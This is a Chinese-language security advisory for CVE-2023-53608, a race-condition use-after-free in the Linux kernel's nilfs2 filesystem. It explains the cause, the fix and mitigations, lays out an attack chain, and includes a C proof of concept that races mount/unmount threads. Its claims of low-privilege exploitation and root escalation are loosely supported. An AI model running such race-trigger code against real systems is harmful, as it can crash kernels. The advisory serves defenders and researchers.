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CVE-2023-53608 CVSS 7.8 高危

CVE-2023-53608 Linux内核nilfs2文件系统UAF漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53608
漏洞类型
Use-After-Free(UAF)
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核(nilfs2文件系统)

相关标签

Use-After-FreeUAFLinux内核nilfs2本地提权竞争条件内核漏洞权限提升CVE-2023-53608文件系统安全

漏洞概述

CVE-2023-53608是Linux内核nilfs2文件系统中存在的一个高危Use-After-Free(UAF)漏洞。该漏洞位于日志段构造函数nilfs_segctor_thread()中,在线程终止过程中与nilfs_segctor_kill_thread()函数之间存在竞争条件(race condition)。具体而言,在nilfs_segctor_thread()函数结束时,会将struct nilfs_sc_info结构体中的sc_task成员赋值为NULL以表示线程已完成,然后通过sc_wait_task等待队列通知nilfs_segctor_kill_thread()。然而,在NULL赋值之后到通知发出之前,nilfs_segctor_kill_thread()可能检测到sc_task为NULL并返回继续执行内存释放操作,导致nilfs_sc_info结构体在线程发出通知前就被释放,从而引发UAF漏洞。该漏洞由KASAN(内核地址消毒器)检测发现,CVSS评分为7.8,属于高危级别。攻击者需要本地低权限访问即可利用此漏洞,可能导致内核崩溃、信息泄露、特权提升等严重后果,影响机密性、完整性和可用性。该漏洞影响多个Linux内核稳定版本,官方已通过多个补丁进行修复。

技术细节

该漏洞的根本原因是nilfs_segctor_thread()与nilfs_segctor_kill_thread()之间的同步机制存在缺陷。

技术原理:
1. nilfs_segctor_thread()是nilfs2文件系统的日志段构造守护线程,负责处理日志段的写入操作。在线程退出时,它执行以下序列:a) 将sc_task赋值为NULL;b) 通过waitqueue(sc_wait_task)唤醒等待中的nilfs_segctor_kill_thread()。

2. nilfs_segctor_kill_thread()在接收到通知后,会释放nilfs_sc_info结构体及其关联资源。

3. 竞争条件出现在以下场景:当nilfs_segctor_thread()完成NULL赋值后但尚未调用wake_up()通知之前,nilfs_segctor_kill_thread()可能已经通过其他路径检测到sc_task为NULL(例如通过sc_state_lock的检查),并提前返回执行清理逻辑,释放了nilfs_sc_info内存。

4. 之后nilfs_segctor_thread()尝试访问已被释放的nilfs_sc_info结构体(如访问sc_wait_task等待队列),触发UAF。

利用方式:
攻击者可通过本地低权限账户,通过频繁挂载/卸载nilfs2文件系统或触发文件系统操作,强制nilfs_segctor_thread()与nilfs_segctor_kill_thread()并发执行,从而触发竞争条件。成功后可导致内核崩溃(DoS)或进一步利用实现权限提升。

修复方案:
使用struct nilfs_sc_info的sc_state_lock自旋锁保护sc_task的NULL赋值和通知操作,确保原子性。由于nilfs_segctor_kill_thread()在检查sc_task是否为NULL时也持有sc_state_lock锁,从而消除了竞争窗口。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要本地低权限账户访问运行受影响Linux内核版本的系统,并确保系统支持nilfs2文件系统模块。
STEP 2
步骤2:触发竞争条件
通过并发执行nilfs2文件系统的挂载/卸载操作,触发nilfs_segctor_thread()与nilfs_segctor_kill_thread()之间的竞争窗口。
STEP 3
步骤3:利用UAF漏洞
当竞争条件成功触发时,nilfs_sc_info结构体在被释放后仍被nilfs_segctor_thread()访问,导致Use-After-Free。
STEP 4
步骤4:权限提升或拒绝服务
成功利用UAF后,攻击者可实现内核态任意代码执行,导致权限提升至root,或通过内核崩溃实现拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2023-53608 - nilfs2 UAF PoC * This PoC demonstrates the race condition between * nilfs_segctor_thread() and nilfs_segctor_kill_thread() * * Note: Requires a system with nilfs2 filesystem support * and local access with low privileges. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mount.h> #include <sys/stat.h> #include <fcntl.h> #include <pthread.h> #include <signal.h> #define MOUNT_POINT "/tmp/nilfs_test" #define NILFS_DEVICE "/dev/nullb0" // null_blk device for testing // Thread function to repeatedly mount/unmount nilfs2 void *race_thread(void *arg) { int iterations = *(int *)arg; for (int i = 0; i < iterations; i++) { // Mount nilfs2 filesystem if (mount(NILFS_DEVICE, MOUNT_POINT, "nilfs2", 0, "") == 0) { // Create some files to trigger segment construction char path[256]; snprintf(path, sizeof(path), "%s/test_%d", MOUNT_POINT, i); int fd = open(path, O_CREAT | O_WRONLY, 0644); if (fd >= 0) { write(fd, "trigger segment construction\n", 28); close(fd); } // Sync to trigger segctor thread sync(); // Unmount quickly to race with kill_thread umount(MOUNT_POINT); } } return NULL; } int main(int argc, char *argv[]) { int num_threads = 4; int iterations = 100; pthread_t threads[4]; // Create mount point mkdir(MOUNT_POINT, 0755); printf("[+] Starting race condition trigger for CVE-2023-53608\n"); printf("[+] Spawning %d threads, %d iterations each\n", num_threads, iterations); // Launch multiple threads to increase race probability for (int i = 0; i < num_threads; i++) { pthread_create(&threads[i], NULL, race_thread, &iterations); } // Wait for all threads for (int i = 0; i < num_threads; i++) { pthread_join(threads[i], NULL); } printf("[+] Race condition attempts completed\n"); printf("[+] Check dmesg for KASAN UAF detection\n"); rmdir(MOUNT_POINT); return 0; }

影响范围

Linux kernel < 4.19.300
Linux kernel 4.20 ~ 5.4.262
Linux kernel 5.5 ~ 5.10.202
Linux kernel 5.11 ~ 5.15.140
Linux kernel 5.16 ~ 6.1.64
Linux kernel 6.2 ~ 6.5.13
Linux kernel 6.6 ~ 6.6.3

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)如果系统未使用nilfs2文件系统,可通过将CONFIG_NILFS2_FS设为n重新编译内核,或在运行时执行rmmod nilfs2卸载该模块;2)限制普通用户对块设备的访问权限,防止恶意用户频繁挂载/卸载nilfs2文件系统触发竞争条件;3)使用Linux安全模块(如SELinux、AppArmor)限制文件系统操作的权限范围;4)监控dmesg日志,关注KASAN报告的UAF异常,及时发现潜在攻击行为;5)关注Linux内核安全公告,及时应用官方发布的安全补丁。

参考链接

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